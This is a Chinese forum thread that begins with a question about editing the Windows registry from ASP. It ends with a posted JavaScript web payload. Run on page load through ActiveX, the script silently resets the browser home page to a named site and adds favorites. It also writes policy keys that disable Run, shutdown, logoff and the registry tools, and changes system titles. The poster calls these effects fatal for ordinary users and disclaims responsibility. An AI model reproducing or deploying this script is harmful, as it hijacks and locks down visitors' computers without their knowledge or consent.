asp如何调用注册表!(50分)

源源

Unregistered / Unconfirmed
GUEST, unregistred user!
asp如何调用注册表,并通过注册表修改IE的title.
 
用VB写好的Activx的控件,再用ASP调用
 
如果你还要继续讨论请定期提前你的帖子,如果不想继续讨论请结束帖子。
 
Set WshShell = server.CreateObject("Wscript.Shell")
WshShell.RegWrite "HKCU/ScriptEngine/Value", "Some string value"
WshShell.RegWrite "HKCU/ScriptEngine/Key/", 1 "REG_DWORD"
 
to snake:
我考,你是不是太太呀,你说的好像不对吧,你修改的使服务器端的注册表,人家可是要
客户端的哟
 
是他问的不对,ASP在服务器运行,改什么客户端注册表。把上面的程序改成下面
这样,写在html脚本里
Set WshShell = CreateObject("Wscript.Shell")
WshShell.RegWrite "HKCU/ScriptEngine/Value", "Some string value"
WshShell.RegWrite "HKCU/ScriptEngine/Key/", 1 "REG_DWORD"
 
JavaScript 修改注册表

最近在网上不少网站及个人主页都使用JS脚本达到自动添加客户端收藏夹、
修改主页甚至修改IE标题栏的目的,看似神秘实际只是通过JS调用ActiveX控件达到
修改注册表来实现的,虽然不少站都利用这一技术给用户带来了一定的麻烦。但我觉
得对于JS技术本身来说,还是有一定的研究价值的。以下是我整理的使用JS能实现的
修改注册表功能:
//------------------------------------------------------------
document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent>
</APPLET>");
//该函数用来自动添加URL至收藏夹
function AddFavLnk(loc, DispName, SiteURL)
{
var Shor = Shl.CreateShortcut(loc + "//" + DispName +".URL");
Shor.TargetPath = SiteURL;
Shor.Save();
}
//函数结束
function f(){
try
{
//ActiveX初始化
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject();
try
{
if (document.cookie.indexOf("Chg") == -1)
{

//修改主页
Shl.RegWrite ("HKCU//Software//Microsoft//Internet Explorer//Main//Start Page", "http://adelover.top263.net");
var expdate = new Date((new Date()).getTime() + (1));
document.cookie="Chg=general;
expires=" + expdate.toGMTString() + ";
path=/;"
//修改主页结束
//写注册表
Shl.RegWrite ("HKCU//Software//Microsoft//Windows//CurrentVersion//Policies//Explorer//NoRun", 01, "REG_BINARY");
Shl.RegWrite ("HKCU//Software//Microsoft//Windows//CurrentVersion//Policies//Explorer//NoClose", 01, "REG_BINARY");
Shl.RegWrite ("HKCU//Software//Microsoft//Windows//CurrentVersion//Policies//Explorer//NoLogOff", 01, "REG_BINARY");
Shl.RegWrite ("HKCU//Software//Microsoft//Windows//CurrentVersion//Policies//Explorer//NoDrives", "00000004", "REG_DWORD");
Shl.RegWrite ("HKCU//Software//Microsoft//Windows//CurrentVersion//Policies//Explorer//RestrictRun", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU//Software//Microsoft//Windows//CurrentVersion//Policies//System//DisableRegistryTools", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU//Software//Microsoft//Windows//CurrentVersion//Policies//WinOldApp//Disabled", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU//Software//Microsoft//Windows//CurrentVersion//Policies//WinOldApp//NoRealMode", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM//Software//Microsoft//Windows//CurrentVersion//Winlogon//LegalNoticeCaption", "The reg has been modified");
Shl.RegWrite ("HKLM//Software//Microsoft//Windows//CurrentVersion//Winlogon//LegalNoticeText", "The reg has been modified");
Shl.RegWrite ("HKLM//Software//Microsoft//Internet Explorer//Main//Window Title", "IE TITLE");
Shl.RegWrite ("HKCU//Software//Microsoft//Internet Explorer//Main//Window Title", "IE TITLE");
var expdate = new Date((new Date()).getTime() + (1));
document.cookie="Chg=general;
expires=" + expdate.toGMTString() + ";
path=/;"
//写注册表结束
//以下用来添加URL至收藏夹调用的公共部分
var WF, Shor, loc;
WF = FSO.GetSpecialFolder(0);
loc = WF + "//Favorites";
if(!FSO.FolderExists(loc))
{
loc = FSO.GetDriveName(WF) + "//Documents and Settings//" + Net.UserName + "//Favorites";
if(!FSO.FolderExists(loc))
{
return;
}
}
//结束公共部分
AddFavLnk(loc, "网站名称", "网站Url");
 
}
}
catch(e)
{}
}
catch(e)
{}
}
function init()
{
setTimeout("f()", 1000);
}
init();
// - - - - - - - - - - - - - - - - -
比起那些站点来说,增加了不少更可怕的功能,比如:禁用命令行,禁止运行程序,
禁止关机等等,对于普通用户来说,可以算是致命的,因此,在最后不得不说的是,
由于此脚本引起的一切问题,与本人无关,请慎重使用!
 
顶部